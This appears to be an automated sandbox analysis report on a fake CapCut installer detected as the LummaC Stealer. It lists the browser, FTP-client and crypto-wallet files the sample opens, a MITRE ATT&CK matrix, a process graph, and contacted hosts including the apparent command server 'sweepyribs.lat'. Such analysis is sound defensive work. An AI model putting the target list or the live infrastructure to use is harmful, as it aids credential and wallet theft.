      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
      Tries to harvest and steal ftp login credentials
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\FTPGetter
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\FTPInfo
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\FTPbox
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\FTPRush
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\ProgramData\SiteDesigner\3D-FTP
      Tries to steal Crypto Currency Wallets
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Ledger Live
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Binance
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\CURQNKVOIX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\CURQNKVOIX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\GAOBCVIQIJ
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\GAOBCVIQIJ
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\UOOJJOZIRH
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\UOOJJOZIRH
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\CURQNKVOIX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\CURQNKVOIX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\DVWHKMNFNN
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\DVWHKMNFNN
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\GAOBCVIQIJ
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\GAOBCVIQIJ
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\KATAXZVCPS
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\KATAXZVCPS
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\DVWHKMNFNN
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\DVWHKMNFNN
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\HTAGVDFUIE
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\HTAGVDFUIE
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comDirectory queried: C:\Users\user\Documents\WUTJSCBCFX

      Remote Access Functionality

      barindex
      Yara detected LummaC Stealer
      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts31
      Windows Management Instrumentation      		1
      DLL Side-Loading      		12
      Process Injection      		111
      Masquerading      		2
      OS Credential Dumping      		131
      Security Software Discovery      		Remote Services11
      Input Capture      		1
      Encrypted Channel      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault Accounts1
      Command and Scripting Interpreter      		Boot or Logon Initialization Scripts1
      DLL Side-Loading      		141
      Virtualization/Sandbox Evasion      		11
      Input Capture      		3
      Process Discovery      		Remote Desktop Protocol31
      Data from Local System      		1
      Ingress Tool Transfer      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)12
      Process Injection      		Security Account Manager141
      Virtualization/Sandbox Evasion      		SMB/Windows Admin SharesData from Network Shared Drive3
      Non-Application Layer Protocol      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
      DLL Side-Loading      		NTDS1
      Application Window Discovery      		Distributed Component Object ModelInput Capture14
      Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
      Remote System Discovery      		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials12
      File and Directory Discovery      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync44
      System Information Discovery      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1576947 Sample: CapCut_12.0.4_Installer.exe Startdate: 17/12/2024 Architecture: WINDOWS Score: 81 73 www.google.com 2->73 75 sweepyribs.lat 2->75 77 nevYLyXsvEOUoLjcGpUCNbkxAjn.nevYLyXsvEOUoLjcGpUCNbkxAjn 2->77 93 Suricata IDS alerts for network traffic 2->93 95 Multi AV Scanner detection for submitted file 2->95 97 Yara detected LummaC Stealer 2->97 99 Sigma detected: Search for Antivirus process 2->99 11 CapCut_12.0.4_Installer.exe 179 2->11         started        signatures3 process4 file5 61 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 11->61 dropped 63 C:\Users\user\AppData\Local\...\System.dll, PE32 11->63 dropped 65 C:\Users\user\AppData\Local\...\vulkan-1.dll, PE32+ 11->65 dropped 67 14 other files (none is malicious) 11->67 dropped 103 Drops large PE files 11->103 15 PhilipinessAvia Application.exe 9 11->15         started        signatures6 process7 dnsIp8 81 192.142.10.246, 49748, 80 X-DSL-NET1ZA South Africa 15->81 83 www.google.com 142.250.181.132, 443, 49741 GOOGLEUS United States 15->83 59 C:\Users\user\AppData\Local\...\ThemCiao.exe, PE32 15->59 dropped 19 cmd.exe 15->19         started        21 powershell.exe 35 15->21         started        24 powershell.exe 15->24         started        26 23 other processes 15->26 file9 process10 dnsIp11 29 ThemCiao.exe 19->29         started        31 conhost.exe 19->31         started        101 Loading BitLocker PowerShell Module 21->101 33 conhost.exe 21->33         started        35 conhost.exe 24->35         started        79 chrome.cloudflare-dns.com 162.159.61.3, 443, 49746, 49747 CLOUDFLARENETUS United States 26->79 37 conhost.exe 26->37         started        39 conhost.exe 26->39         started        41 chcp.com 1 26->41         started        43 19 other processes 26->43 signatures12 process13 process14 45 cmd.exe 29->45         started        file15 69 C:\Users\user\AppData\Local\...\Classes.com, PE32 45->69 dropped 105 Drops PE files with a suspicious file extension 45->105 49 Classes.com 45->49         started        53 conhost.exe 45->53         started        55 tasklist.exe 45->55         started        57 7 other processes 45->57 signatures16 process17 dnsIp18 71 sweepyribs.lat 104.21.2.110, 443, 49895, 49901 CLOUDFLARENETUS United States 49->71 85 Query firmware table information (likely to detect VMs) 49->85 87 Tries to harvest and steal ftp login credentials 49->87 89 Tries to harvest and steal browser information (history, passwords, etc) 49->89 91 Tries to steal Crypto Currency Wallets 49->91 signatures19

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      CapCut_12.0.4_Installer.exe18%ReversingLabsWin32.Trojan.Generic

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\d3dcompiler_47.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\ffmpeg.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libEGL.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libGLESv2.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vk_swiftshader.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vulkan-1.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\530420\Classes.com0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\PhilipinessAvia Application.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\d3dcompiler_47.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\ffmpeg.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libEGL.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libGLESv2.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resources\elevate.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vk_swiftshader.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vulkan-1.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\System.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsj519A.tmp\nsis7z.dll0%ReversingLabs

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      chrome.cloudflare-dns.com
      		162.159.61.3
      		truefalse
        		high
        sweepyribs.lat
        		104.21.2.110
        		truefalse
          		high
          www.google.com
          		142.250.181.132
          		truefalse
            		high
            nevYLyXsvEOUoLjcGpUCNbkxAjn.nevYLyXsvEOUoLjcGpUCNbkxAjn
            		unknown
            		unknownfalse
              		unknown

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              https://sweepyribs.lat/apifalse
                		high

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                https://mx.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                  		high
                  https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                    		high
                    https://fr.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                      		high
                      https://search.seznam.sk/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                        		high
                        https://doh.familyshield.opendns.com/dns-queryPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                          		high
                          https://crbug.com/newPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpfalse
                            		high
                            https://hk.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                              		high
                              https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                		high
                                http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                  		high
                                  https://dns11.quad9.net/dns-queryPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                    		high
                                    https://suggestplugin.gmx.co.uk/s?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                      		high
                                      https://ca.search.yahoo.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                        		high
                                        https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                          		high
                                          http://www.search.delta-search.com/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                            		high
                                            http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                              		high
                                              https://www.givero.com/suggest?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                		high
                                                http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                  		high
                                                  https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtabPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                    		high
                                                    https://www.so.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                      		high
                                                      https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                        		high
                                                        https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                          		high
                                                          http://www.search.delta-search.com/home?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                            		high
                                                            http://l.twimg.com/i/hpkp_reportPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                              		high
                                                              https://nextdns.io/privacyPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                		high
                                                                https://malaysia.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                  		high
                                                                  http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?pPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                    		high
                                                                    http://www.conduit.com/favicon.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                      		high
                                                                      https://vn.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                        		high
                                                                        https://developers.google.com/speed/public-dns/privacyGooglePhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                          		high
                                                                          https://www.ask.com/web?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                            		high
                                                                            https://doh.opendns.com/dns-queryPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                              		high
                                                                              https://ph.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                		high
                                                                                https://www.ecosia.org/newtab/PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                  		high
                                                                                  http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                    		high
                                                                                    https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icoPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                      		high
                                                                                      https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/searchPhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                        		high
                                                                                        http://www1.delta-search.com/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                          		high
                                                                                          https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                            		high
                                                                                            http://www.delfi.lt/paieska/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                              		high
                                                                                              https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                		high
                                                                                                http://search.imesh.net/music?hl=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                  		high
                                                                                                  https://qc.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                    		high
                                                                                                    https://sug.so.360.cn/suggest?encodein=PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                      		high
